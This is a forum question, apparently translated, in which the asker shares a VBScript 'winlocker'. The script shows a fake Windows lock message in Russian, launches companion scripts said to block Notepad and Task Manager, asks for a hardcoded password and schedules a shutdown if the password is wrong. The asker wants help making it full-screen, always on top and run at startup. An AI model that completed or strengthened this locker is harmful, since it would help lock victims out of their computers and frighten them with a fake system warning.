How to put vbs script on top of all windows?

Question

VBScript

There is such a winlocker.
It blocks notepad and task manager from opening.
If the wrong password is entered, it will turn off after 5 minutes.
I would like it to be larger (full screen like in f11), so that it would always be on top of all windows and the last thing that it would open when you turn on the computer.

Do
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Run("""c:\Program Files\Windows Corporation\x.vbs""")
objShell.Run("""c:\Program Files\Windows Corporation\Blocnote.vbs""")
msgbox"Ваш Windows был заблокираван! Примите меры в течении 5 минут!",48,"Windows corporation"
x = inputbox("Введите пароль")
if (x = "123123") then
msgbox"Windows был разблокирован!",64,"Windows разблокирован!"
exit do
else
Set WshShell = WScript.CreateObject("WScript.Shell")
WSHShell.Run("shutdown /s /d p:0:0 /t 300")
end if
loop